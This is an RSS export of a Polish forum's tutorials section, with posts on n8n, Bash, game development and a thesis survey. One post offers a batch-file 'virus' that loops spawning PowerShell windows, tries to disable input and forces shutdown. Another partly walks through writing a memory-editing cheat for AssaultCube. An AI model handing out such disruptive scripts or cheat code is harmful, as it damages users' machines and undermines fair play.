<?xml version="1.0"?>
<rss version="2.0"><channel><title>Poradniki i artyku&#x142;y ostatnich temat&#xF3;w</title><link>https://www.mpcforum.pl/forum/1409-poradniki-i-artyku%C5%82y/</link><description>Poradniki i artyku&#x142;y ostatnich temat&#xF3;w</description><language>pl</language><item><title>Jak zaimportowa&#x107; workflow z pliku JSON w n8n [</title><link>https://www.mpcforum.pl/topic/1687075-jak-zaimportowac-workflow-z-pliku-json-w-n8n/</link><description><![CDATA[<p>
	Zakładam, że masz już dostęp do panelu n8n (np. przez <code><a href="http://localhost:5678" rel="external nofollow">http://localhost:5678</a></code> albo przez przeglądarkę na VPS). Teraz zrób tak:
</p>

<hr />
<h3>
	<span class="ipsEmoji">🔹</span> Krok 1: Wejdź do panelu n8n
</h3>

<ul>
	<li>
		<p>
			Otwórz n8n w przeglądarce:<br />
			<span class="ipsEmoji">👉</span> <code><a href="http://localhost:5678" rel="external nofollow">http://localhost:5678</a></code> (lokalnie)<br />
			<span class="ipsEmoji">👉</span> lub <code><a href="https://twojadomena.com" rel="external nofollow">https://twojadomena.com</a></code> (na VPSie)
		</p>
	</li>
</ul>

<hr />
<h3>
	<span class="ipsEmoji">🔹</span> Krok 2: Otwórz zarządzanie workflowami
</h3>

<ul>
	<li>
		<p>
			W lewym górnym rogu kliknij ikonę <strong>menu</strong> (<span class="ipsEmoji">📂</span> lub logo n8n).
		</p>
	</li>
	<li>
		<p>
			Wybierz opcję <strong>„Workflows”</strong> – zobaczysz listę zapisanych przepływów (workflowów).
		</p>
	</li>
</ul>

<hr />
<h3>
	<span class="ipsEmoji">🔹</span> Krok 3: Kliknij „Import”
</h3>

<ul>
	<li>
		<p>
			W prawym górnym rogu tej listy znajdziesz przycisk <strong>„Import”</strong> (ikona <span class="ipsEmoji">⬆️</span>).
		</p>
	</li>
</ul>

<p>
	<span class="ipsEmoji">📸</span> <strong>Przykład przycisku:</strong><br />
	<span class="ipsEmoji">👉</span> <span class="ipsEmoji">🔼</span> Import
</p>

<hr />
<h3>
	<span class="ipsEmoji">🔹</span> Krok 4: Wybierz swój plik JSON
</h3>

<p>
	Wyskoczy małe okno z opcją importu. Masz dwie możliwości:
</p>

<ul>
	<li>
		<p>
			<strong>Przeciągnij plik JSON</strong> z workflow na to okno<br />
			<strong>lub</strong>
		</p>
	</li>
	<li>
		<p>
			Kliknij <strong>„Select File”</strong> i wybierz plik <code>.json</code> z dysku (np. <code>autoBotAi.json</code>)
		</p>
	</li>
</ul>

<hr />
<h3>
	<span class="ipsEmoji">🔹</span> Krok 5: Potwierdź import
</h3>

<ul>
	<li>
		<p>
			Po chwili zobaczysz, jak wczytał się cały workflow graficznie.
		</p>
	</li>
	<li>
		<p>
			Kliknij <strong>„Import”</strong> – i gotowe!
		</p>
	</li>
</ul>

<p>
	Workflow pojawi się w edytorze n8n, gotowy do edycji.
</p>

<hr />
<h3>
	<span class="ipsEmoji">🔹</span> Krok 6: Zapisz i aktywuj
</h3>

<ul>
	<li>
		<p>
			Kliknij w górnej części okna nazwę workflowa (np. "Unnamed workflow") i wpisz własną nazwę.
		</p>
	</li>
	<li>
		<p>
			Kliknij <strong>„Save”</strong>.
		</p>
	</li>
	<li>
		<p>
			Kliknij <strong>„Activate”</strong>, jeśli chcesz, żeby automatycznie działał (np. jeśli ma webhook albo cron).
		</p>
	</li>
</ul>

<hr />
<h2>
	<span class="ipsEmoji">🧠</span> Dodatkowe wskazówki:
</h2>

<p>
	<span class="ipsEmoji">🔑</span> <strong>Jeśli workflow korzysta z API (np. OpenAI, Discord, itp.) –</strong><br />
	<span class="ipsEmoji">➡️</span> Przejdź do zakładki <strong>„Credentials”</strong> (ikona klucza po lewej)<br />
	<span class="ipsEmoji">➡️</span> Uzupełnij dane API i przypisz je w nodach.
</p>

<p>
	<span class="ipsEmoji">💾</span> <strong>Chcesz zapisać workflow jako plik?</strong><br />
	<span class="ipsEmoji">➡️</span> W edytorze kliknij ikonę z trzema kropkami (<span class="ipsEmoji">⚙️</span>) w prawym górnym rogu<br />
	<span class="ipsEmoji">➡️</span> Wybierz <strong>„Download”</strong> – zapisze Ci plik <code>.json</code>.
</p>
]]></description><guid isPermaLink="false">1687075</guid><pubDate>Sun, 15 Jun 2025 19:32:52 +0000</pubDate></item><item><title>Szukam jakiego&#x15B; developera kt&#xF3;ry zna j&#x119;zyk kodowania java</title><link>https://www.mpcforum.pl/topic/1685762-szukam-jakiegos-developera-ktory-zna-jezyk-kodowania-java/</link><description><![CDATA[<p>
	Witam, szukam jakiegoś developera który zna się na języku kodowania java, bardzo go potrzebuje bo chce stworzyc swój client minecraft ale mam zero wiedzy w tym temacie, i narazie chciałbym za darmo
</p>
]]></description><guid isPermaLink="false">1685762</guid><pubDate>Thu, 31 Oct 2024 01:04:24 +0000</pubDate></item><item><title>keylogger</title><link>https://www.mpcforum.pl/topic/1683091-keylogger/</link><description><![CDATA[<p>
	hej przychodze z pytaniem co to znaczy szkielet keyloggera i czy mozna go dostac poprzez klikniecie w link 
</p>

<p>
	 
</p>
]]></description><guid isPermaLink="false">1683091</guid><pubDate>Fri, 26 Jan 2024 16:23:02 +0000</pubDate></item><item><title>Ankieta do pracy magisterskiej (jako&#x15B;&#x107; kodu po pracy w parze)</title><link>https://www.mpcforum.pl/topic/1682646-ankieta-do-pracy-magisterskiej-jakosc-kodu-po-pracy-w-parze/</link><description><![CDATA[<p>
	https://docs.google.com/forms/d/e/1FAIpQLScIsRHJ_5qdY3S6ATHHdn0q2SVdvCmsbGcy0RpkcyATGdMLvg/viewform?usp=sf_link
</p>

<p>
	 
</p>

<p>
	Prowadzę badanie do pracy magisterskiej która ma na celu zbadanie wpływu programowania w parach na jakość pisanego kodu. Byłbym wdzięczny za wypełnienie ankiety. wypełnienie jej nie powinno trwać więcej niż 5 minut  
</p>
]]></description><guid isPermaLink="false">1682646</guid><pubDate>Sun, 08 Oct 2023 14:17:46 +0000</pubDate></item><item><title>Jak zrobi&#x107; bardzooo zaawansowanego wirusa Uwaga nie testowa&#x107; na swoim kompie!</title><link>https://www.mpcforum.pl/topic/1681935-jak-zrobic-bardzooo-zaawansowanego-wirusa-uwaga-nie-testowac-na-swoim-kompie/</link><description><![CDATA[<p>
	Elo jest to mój pierwszy raz jak to pokazuję więc jak będzie jakiś błąd to piszcie zaczynamy! nie będę nic tłumaczyć ale testujecie to na maszynie wirtualnej!
</p>

<p>
	Otwieracje notatnik plik zapisujecie jako blee.bat
</p>

<p>
	i wpisujecie to:
</p>

<p>
	 
</p>

<p>
	:start
</p>

<p>
	start powershell
</p>

<p>
	start
</p>

<p>
	goto :start
</p>

<p>
	@echo off
</p>

<p>
	rundll32 user,disableoemlayer<br />
	rundll32 mouse,disable<br />
	rundll32 keyboard,disable
</p>

<p>
	rundll32 user,setCursorPos
</p>

<p>
	rundll32 user,RepaintScreen
</p>

<p>
	rundll32 shell,shellExecute
</p>

<p>
	rundll32 user,cascadechildwindows
</p>

<p>
	rundll32 user,DisbleOEMLayer
</p>

<p>
	shutdown /s /t 5
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	i tyle:)
</p>
]]></description><guid isPermaLink="false">1681935</guid><pubDate>Wed, 31 May 2023 06:54:10 +0000</pubDate></item><item><title>Zlecenie/Odp&#x142;atne Szukam kogo&#x15B; kto napisa&#x142; by dla mnie program. Odp&#x142;atnie :)</title><link>https://www.mpcforum.pl/topic/1679273-zlecenieodplatne-szukam-kogos-kto-napisal-by-dla-mnie-program-odplatnie/</link><description><![CDATA[<p>
	Cześć szukam kogoś kto byłby wstanie napisać dla mnie odpłatnie program. Który podbijał by zasięgi na youtube w celach marketingowych. Zasady jak miałby taki program działać jak i cenę chętnie przedstawię w wiadomości prywatnej <span class="ipsEmoji">🙂</span> pozdrawiam 
</p>
]]></description><guid isPermaLink="false">1679273</guid><pubDate>Fri, 08 Apr 2022 10:05:36 +0000</pubDate></item><item><title>AutoHotKey - Potrzebna pomoc</title><link>https://www.mpcforum.pl/topic/1679220-autohotkey-potrzebna-pomoc/</link><description><![CDATA[<p>
	Siema mam taki problem w <br />
	Send Discord#tag<br />
	Jak to robię to zamiast wysyłać # odpala mi klawisz WIN,<br />
	2. <br />
	SendInput %steak%, steak<br />
	Gui, add, Hotkey, x250 y268 w30 vsteak, 2<br />
	Dlaczego nie wykonuje mi klawiszu tylko pisze tekst?
</p>

<p>
	 
</p>
]]></description><guid isPermaLink="false">1679220</guid><pubDate>Sat, 02 Apr 2022 21:20:40 +0000</pubDate></item><item><title>Mam pytanie jak zrobi&#x107; gre typu fnaf</title><link>https://www.mpcforum.pl/topic/1677025-mam-pytanie-jak-zrobic-gre-typu-fnaf/</link><description><![CDATA[<p>
	w jakim silniku to zrobić odrazu mowie ze za duzo kasy nie mam na kupna
</p>

<p>
	w jakim języku programowania to najlepiej zrobić
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	ps umiem programować troche w java ale nauczyłem się z poradników z yt
</p>
]]></description><guid isPermaLink="false">1677025</guid><pubDate>Sat, 31 Jul 2021 18:17:16 +0000</pubDate></item><item><title>Mam pytanie jak zrobi&#x107; gre typu fnaf</title><link>https://www.mpcforum.pl/topic/1677024-mam-pytanie-jak-zrobic-gre-typu-fnaf/</link><description><![CDATA[<p>
	w jakim silniku to zrobić odrazu mowie ze za duzo kasy nie mam na kupna
</p>

<p>
	w jakim języku programowania to najlepiej zrobić
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	ps umiem programować troche w java ale nauczyłem się z poradników z yt
</p>

<p>
	 
</p>
]]></description><guid isPermaLink="false">1677024</guid><pubDate>Sat, 31 Jul 2021 18:12:08 +0000</pubDate></item><item><title>Pomoc z "domen&#x105;"?</title><link>https://www.mpcforum.pl/topic/1676973-pomoc-z-domena/</link><description><![CDATA[<p>
	Siemka! Generalnie to chciałbym prosić o pomoc, czy ktoś wie jak mogę zrobić domenę jaką jest np. <strong>dc.LALALALA.pl </strong>lub też <strong>fb.SSHSBS.pl</strong> z góry dziękuję za pomoc!
</p>
]]></description><guid isPermaLink="false">1676973</guid><pubDate>Mon, 26 Jul 2021 22:23:41 +0000</pubDate></item><item><title>Discord Bot.</title><link>https://www.mpcforum.pl/topic/1676142-discord-bot/</link><description><![CDATA[<p>
	Poszukuję osoby która zna się na tworzeniu botów discord z bazą danych. 
</p>

<p>
	Szablon bota/vps'y już mam od dawna ponieważ bot już od dawna istnieje ale chcemy dodać moduł reklam i licznik gbanów na stronie bota i przez to poszukuje osoby która zna się na tworzeniu botów discord. 
</p>

<p>
	 
</p>

<p>
	Jeśli będzie trzeba załatwić np: bazę danych płatna gdzieś lub coś to pokryje wszyskie koszty ponieważ pracuje w jednym hostingu. (TechHost). 
</p>

<p>
	 
</p>

<p>
	 
</p>
]]></description><guid isPermaLink="false">1676142</guid><pubDate>Sun, 09 May 2021 14:22:00 +0000</pubDate></item><item><title>unity</title><link>https://www.mpcforum.pl/topic/1675893-unity/</link><description><![CDATA[<p>
	witam na wstępie powiem tyle że jestem zielony w programowaniu i mam problem. chciałem zacząć od programu unityi gdy chcę pobrać jakąś wersję wyskakuje onienko informujące o błędzie i nie wiem co zrobić. jak by to była jakaś błachostka to sory ale tak jak mówię dopiero zaczynam. załączam zdjęcie.
</p>

<p><a href="https://www.mpcforum.pl/uploads/monthly_2021_04/1182716253_bd.png.d5c5d4246b39093386831ee7186ed668.png" class="ipsAttachLink ipsAttachLink_image"><img data-fileid="156969" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" data-src="https://www.mpcforum.pl/uploads/monthly_2021_04/1182716253_bd.png.d5c5d4246b39093386831ee7186ed668.png" data-ratio="49,85" width="333" class="ipsImage ipsImage_thumbnailed" alt="błąd.png"></a></p>]]></description><guid isPermaLink="false">1675893</guid><pubDate>Tue, 27 Apr 2021 09:02:03 +0000</pubDate></item><item><title>Przy tworzeniu skryptu w linuxe :  b&#x142;&#x105;d sk&#x142;adni nieoczekiwany b&#x142;&#x105;d if [ -e</title><link>https://www.mpcforum.pl/topic/1672650-przy-tworzeniu-skryptu-w-linuxe-b%C5%82%C4%85d-sk%C5%82adni-nieoczekiwany-b%C5%82%C4%85d-if-e/</link><description><![CDATA[<p>
	Stworzyłem skrypt który robi kopie katalogu home i etc (działa ): 
</p>

<p>
	#!/bin/bash
</p>

<p>
	cd /Puplit
</p>

<p>
	sudo mkdir kopie_zapasowe
</p>

<p>
	cd kopie_zapasowe
</p>

<p>
	sudo tar -czvf kopia_home.tar.tgz /home
</p>

<p>
	sudo tar -czvf kopia_etc.tar.tgz /etc
</p>

<p>
	 
</p>

<p>
	Chciałem dopisać żeby gdy będzie już utworzony plik o nazwie kopia_home.tar.tgz stworzył z inną zazwą. 
</p>

<p>
	Cd /Pulpit/kopie_zapasowe
</p>

<p>
	if [ -e kopia_home.tar.tgz  ]
</p>

<p>
	then
</p>

<p>
	            sudo tar -czvf kopia_home123.tar.tgz /home
</p>

<p>
	fi
</p>

<p>
	if [-e kopia_etc.tar.tgz]
</p>

<p>
	then
</p>

<p>
	            sudo tar -czvf kopia_etc123.tar.tgz /etc
</p>

<p>
	fi
</p>

<p>
	 
</p>

<p>
	Gdy go uruchamiam pokazuje błąd składni if [ -e 
</p>
]]></description><guid isPermaLink="false">1672650</guid><pubDate>Fri, 27 Nov 2020 12:14:59 +0000</pubDate></item><item><title>Pisanie cheat&#xF3;w na przyk&#x142;adzie gry AssaultCube w C#</title><link>https://www.mpcforum.pl/topic/1668008-pisanie-cheatow-na-przykladzie-gry-assaultcube-w-c/</link><description><![CDATA[<p style="text-align:center;">
	<span style="color:#3498db;"><span style="font-size:28px;">Pisanie cheatów na przykładzie gry AssaultCube</span></span>
</p>

<p style="text-align:center;">
	<font color="#3498db"><span style="font-size:16px;">                                                                      </span></font><span style="color:#2980b9;"><span style="font-size:16px;">w języku C#</span></span>
</p>

<p style="text-align:center;">
	 
</p>

<p style="text-align:center;">
	 
</p>

<p>
	<span style="color:#999999;">Na wstępie chciałbym zaznaczyć, że jest to pierwszy poradnik jakikolwiek napisałem w życiu, aczkolwiek mam nadzięje, że materiały tutaj zawarte okażą się przydatne.  Poniższa treść jest skierowana do osób, które posiadają podstawową wiedzę na temat programowania i nie będę tutaj tłumaczył podstawowych rzeczy.</span>
</p>

<p>
	 
</p>

<p>
	Aby rozpocząć naszą prace na starcie należy się zaopatrzeć w kilka programów:
</p>

<ol>
	<li>
		Cheat Engine.
	</li>
	<li>
		IDE ( Według uznania, ja korzystam z Visual Studio )
	</li>
</ol>

<p>
	 
</p>

<p>
	Za pomocą programu 'Cheat Engine' będziemy szukać wskazników w pamięci, których potem będziem używać w naszym programie w C#.
</p>

<p>
	 
</p>

<p style="text-align:center;">
	<span style="color:#2ecc71;"><span style="font-size:22px;">Czym jest wskaźnik?</span></span>
</p>

<p>
	 
</p>

<p>
	Wskażnik ang. pointer jest to taki typ danych, który przechowuje adres innej komórki w pamięci.
</p>

<p>
	Najlepiej opisuje wskaznik poniższy obrazek.
</p>

<p>
	 
</p>

<p style="text-align:center;">
	<img alt="Pointer" height="293" style="height:auto;" width="264" data-src="https://upload.wikimedia.org/wikipedia/commons/b/b4/Pointers.svg" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	 
</p>

<p>
	Wkazniki mogą mieć kilka poziomów np. wskaznik wskazuje na wskaznik, który wskazuje na wskaznik itd.
</p>

<p>
	Często takie coś nam utrudnia prace podczas pisania.
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	 
</p>

<p style="text-align:center;">
	<span style="color:#2ecc71;"><span style="font-size:24px;">Na początku musimy wybrać proces w cheat engine.</span></span>
</p>

<p>
	 
</p>

<p>
	<span style="color:#2ecc71;"><span style="font-size:24px;"><img alt="FWRWXZt.png" height="768" style="height:auto;" width="1200" data-src="https://i.imgur.com/FWRWXZt.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" /></span></span>
</p>

<p>
	 
</p>

<p>
	 
</p>

<p style="text-align:center;">
	<span style="color:#2ecc71;"><span style="font-size:24px;">Następnie odszukanie pierwszej interesującej nas wartości, ja na początku odszukałem stan życia postaci.</span></span>
</p>

<p style="text-align:center;">
	 
</p>

<p>
	Więc aby to zrobić w polu 'value' wpisujemy wartość 100 i klikamy 'first scan'.
</p>

<p>
	W tym momencie waszym oczom ukarze się duża liczba wyników, dlatego też musimy troche zadać obrażeń naszej postaci.
</p>

<p>
	 
</p>

<p>
	<img alt="VzPuyfI.png" height="768" style="height:auto;" width="1200" data-src="https://i.imgur.com/VzPuyfI.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Na czerwono widzimy, że wartość w pamięci się zmieniła i jest teraz na czerwono, u mnie postać ma 7 punktów życia i adres z taką wartością dodałem też do listy, dla pewności możemy podmienić tę wartość - Jeśli się zmieni mamy pewność, że adres jest prawidłowy.
</p>

<p>
	 
</p>

<p>
	Możemy tak zrobić i poszukać każdej wartości, która będzie potrzebna do naszego cheata, jedna te adresy zmieniają się za każdym razem kiedy uruchomimy gre, dlatego potrzebujemy znalezc wskaznik, który jest statyczny - Jest stały dla konkretnego Buildu gry.
</p>

<p>
	 
</p>

<p>
	 
</p>

<p style="text-align:center;">
	<span style="color:#2ecc71;"><span style="font-size:24px;">Szukanie wskaźników</span></span>
</p>

<p>
	Aby znaleźć wskaznik, musimy sprawdzić jaka instrukcja może wpisywać do tej komórki w pamięci, w tym celu zaznaczmy dynamiczny adres i klikamy f5, Nic na razie nam się nie pokaże ponieważ musimy jeszcze trochę zadać obrażenia naszej postaci.
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	<img alt="M1HPwGJ.png" height="768" style="height:auto;" width="1200" data-src="https://i.imgur.com/M1HPwGJ.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	 
</p>

<p>
	Widzimy, że instrukcją, która ma dostęp do zapisu tej pamięci jest to instrukcja 'mov [edx + 00000F8], eax'
</p>

<p>
	Operacja ta kopiuje wartość z rejestru eax do rejestru edx przy tym dodająć offset 0xF8.
</p>

<p>
	 
</p>

<p>
	offset jest to najprościej mówiąć 'scieżka' do odnalezienia wskaznika do dynamicznej komórki w pamięci. Jednak do tego potrzebujemy adres Entity gracza.
</p>

<p>
	 
</p>

<p>
	Klikająć 'More information' dostaniemy bardziej szczegółowe informacje na temat tego adresu.
</p>

<p>
	 
</p>

<p>
	<img alt="G0CB17N.png" height="768" style="height:auto;" width="1200" data-src="https://i.imgur.com/G0CB17N.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	 
</p>

<p>
	Możemy tutaj przeczytać, że prawdopodobnie wartość wskaznika potrzebna do odnalezienia tego wskaznika jest to '0279A1C0' i w tym przypadku tak też jest.
</p>

<p>
	 
</p>

<p>
	Dlatego też kopiujemy ten adres i w polu 'value' zaznaczmy 'hex'  wklejamy ten adres i klikamy 'first scan'
</p>

<p>
	 
</p>

<p>
	<img alt="ysO3Mbw.png" height="768" style="height:auto;" width="1200" data-src="https://i.imgur.com/ysO3Mbw.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Po zakończeniu procesu skanowania naszą uwagę na pewno przyciągną zielone adresy, są to statyczne adresy (W tym przypadku Entity Gracza), które posłużą nam do odnalezienia wskaznika.
</p>

<p>
	 
</p>

<p>
	<img alt="h8esuK9.png" height="768" style="height:auto;" width="1200" data-src="https://i.imgur.com/h8esuK9.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	 
</p>

<p>
	Jeden z tych zielonych adresów jest to adres, którego szukamy jest nim 'ac_client.exe+10F4F4' dodajemy go do listy poniżej.
</p>

<p>
	Widzymy, że po dodaniu do listy w kolumnie adres pokazuje wartość '0050F4F4' ta wartość będzie nam potrzebna aby wydobyć wskaznik życia.
</p>

<p>
	 
</p>

<p>
	Przechodzimy teraz do 'Memory View' klikamy CTRL+D w polu "Group 1" wpisujemy adres, który wcześniej skopiowaliśmy i klikamy CTRL+N
</p>

<p>
	Naszym oczom ukaże się lista z zielonym kolorem tekstu, to jest właśnie to czego szukaliśmy.
</p>

<p>
	 
</p>

<p>
	Tutaj będziemy szukać, które offsety będziemy pózniej używać w naszym programie.
</p>

<p>
	 
</p>

<p>
	<img alt="H34GDxD.png" height="768" style="height:auto;" width="1200" data-src="https://i.imgur.com/H34GDxD.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	Znalazłem odpowiednie wartości i je nazwałem, następnie dodajemy je do swojej listy i zapisujemy ją.
</p>

<p>
	Wartości po lewej od myślnika są to offsety.
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Wszytkie nasze pobrane wskazniki powinny wyglądać mniej więcej tak:
</p>

<p>
	 
</p>

<p>
	<img alt="45AcmCX.png" class="ipsImage" data-ratio="56.22" height="562" style="height:auto;" width="1000" data-src="https://i.imgur.com/45AcmCX.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	 
</p>

<p>
	 
</p>

<p style="text-align:center;">
	<span style="font-size:24px;"><font color="#2ecc71">Dane zebrane, pora na pisanie kodu!</font></span>
</p>

<p>
	Stwórzmy w Visual Studio nowy projekt 'Windows forms app', Ja nazwe go 'BasicCheat'
</p>

<p>
	następnie musimy utworzyć jakieś gui dla cheat'a. W tym celu należy otworzyć plik Form1.cs i z lewej klikamy 'toolbox' tworzymy nasz interface, ja stworzyłem coś takiego:
</p>

<p>
	 
</p>

<p style="text-align:center;">
	<img alt="SwdSoZM.png" height="191" style="height:auto;" width="258" data-src="https://i.imgur.com/SwdSoZM.png" src="https://www.mpcforum.pl/applications/core/interface/js/spacer.png" />
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Warto też nadać sobie im odpowiednie nazwy, przez które będziemy się odnosili do nich w kodzie, aby było po prostu łatwiej zapamiętać je.
</p>

<p>
	Po kliknięciu dwa razy na obiekty, które dodaliśmy w designerze środowisko automatycznie utworzy nam odłowania do nich w kodzie.
</p>

<p>
	 
</p>

<p>
	 
</p>

<p>
	Po tych operacjach kod będzie wyglądał tak:
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="kwd">using</span><span class="pln"> </span><span class="typ">System</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">using</span><span class="pln"> </span><span class="typ">System</span><span class="pun">.</span><span class="typ">Windows</span><span class="pun">.</span><span class="typ">Forms</span><span class="pun">;</span><span class="pln">

</span><span class="kwd">namespace</span><span class="pln"> </span><span class="typ">BasicCheat</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  
    </span><span class="kwd">public</span><span class="pln"> partial </span><span class="kwd">class</span><span class="pln"> </span><span class="typ">Form1</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="typ">Form</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
      
        </span><span class="kwd">public</span><span class="pln"> </span><span class="typ">Form1</span><span class="pun">()</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
            </span><span class="typ">InitializeComponent</span><span class="pun">();</span><span class="pln">
        </span><span class="pun">}</span><span class="pln">

        </span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> enable_Click</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">

        </span><span class="pun">}</span><span class="pln">

        </span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> disable_Click</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">

        </span><span class="pun">}</span><span class="pln">

        </span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> exit_Click</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">

        </span><span class="pun">}</span><span class="pln">

        </span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> health_CheckedChanged</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">

        </span><span class="pun">}</span><span class="pln">

        </span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> checkBox2_CheckedChanged</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">

        </span><span class="pun">}</span><span class="pln">

        </span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> ammo_CheckedChanged</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">

        </span><span class="pun">}</span><span class="pln">

        </span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> granades_CheckedChanged</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">

        </span><span class="pun">}</span><span class="pln">
    </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	Zacznijmy od stworzenia sobie zmiennych, które nam będą potrzebne do interakcji z GUI
</p>

<p>
	Tworzymy je na początku klasy jako jej pola.
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> unlimitedHealth </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> unlimitedArmour </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> infiniteGranades </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">bool</span><span class="pln"> infiniteAmmo </span><span class="pun">=</span><span class="pln"> </span><span class="kwd">false</span><span class="pun">;</span></pre>

<p>
	 
</p>

<p>
	Kiedy już je mamy zaczniemy z nimi pracować, zacznijmy od funkcji wyłączenia naszej aplikacji, Musiby obsłużyć wyłączenie przez kliknięcie przyciusku 'Exit' oraz przez zamknięcie X'em. 
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="com">// Metoda zamykająca aplikacje, wraz z zabiciem wszystkich jej podprocesów.</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> </span><span class="typ">ApplicationExit</span><span class="pun">()</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
  </span><span class="typ">System</span><span class="pun">.</span><span class="typ">Diagnostics</span><span class="pun">.</span><span class="typ">Process</span><span class="pun">.</span><span class="typ">GetCurrentProcess</span><span class="pun">().</span><span class="typ">Kill</span><span class="pun">();</span><span class="pln">
  </span><span class="typ">Application</span><span class="pun">.</span><span class="typ">Exit</span><span class="pun">();</span><span class="pln"> 
</span><span class="pun">}</span><span class="pln">

</span><span class="com">// Nadpisanie metody wbudowanej, po kliknięciu X'a</span><span class="pln">
</span><span class="kwd">protected</span><span class="pln"> override </span><span class="kwd">void</span><span class="pln"> </span><span class="typ">OnFormClosing</span><span class="pun">(</span><span class="typ">FormClosingEventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
   </span><span class="typ">ApplicationExit</span><span class="pun">();</span><span class="pln">
</span><span class="pun">}</span><span class="pln">

</span><span class="com">// Po naciśnięciu przycisku exit</span><span class="pln">
</span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> exit_Click</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">)</span><span class="pln"> </span><span class="pun">{</span><span class="pln">
   </span><span class="typ">ApplicationExit</span><span class="pun">();</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	Teraz obsłużmy przyciski enable i disable.
</p>

<p>
	 
</p>

<pre class="ipsCode prettyprint lang-c prettyprinted"><span class="pln"> </span><span class="com">// Po kliknięciu przycisku 'enable';</span><span class="pln">
        </span><span class="kwd">private</span><span class="pln"> </span><span class="kwd">void</span><span class="pln"> enable_Click</span><span class="pun">(</span><span class="pln">object sender</span><span class="pun">,</span><span class="pln"> </span><span class="typ">EventArgs</span><span class="pln"> e</span><span class="pun">){</span><span class="pln">
            processes </span><span class="pun">=</span><span class="pln"> </span><span class="typ">Process</span><span class="pun">.</span><span class="typ">GetProcessesByName</span><span class="pun">(</span><span class="str">"ac_client"</span><span class="pun">);</span><span class="pln">                </span><span class="com">// Pobieramy proces o nazwie 'ac_client';</span><span class="pln">
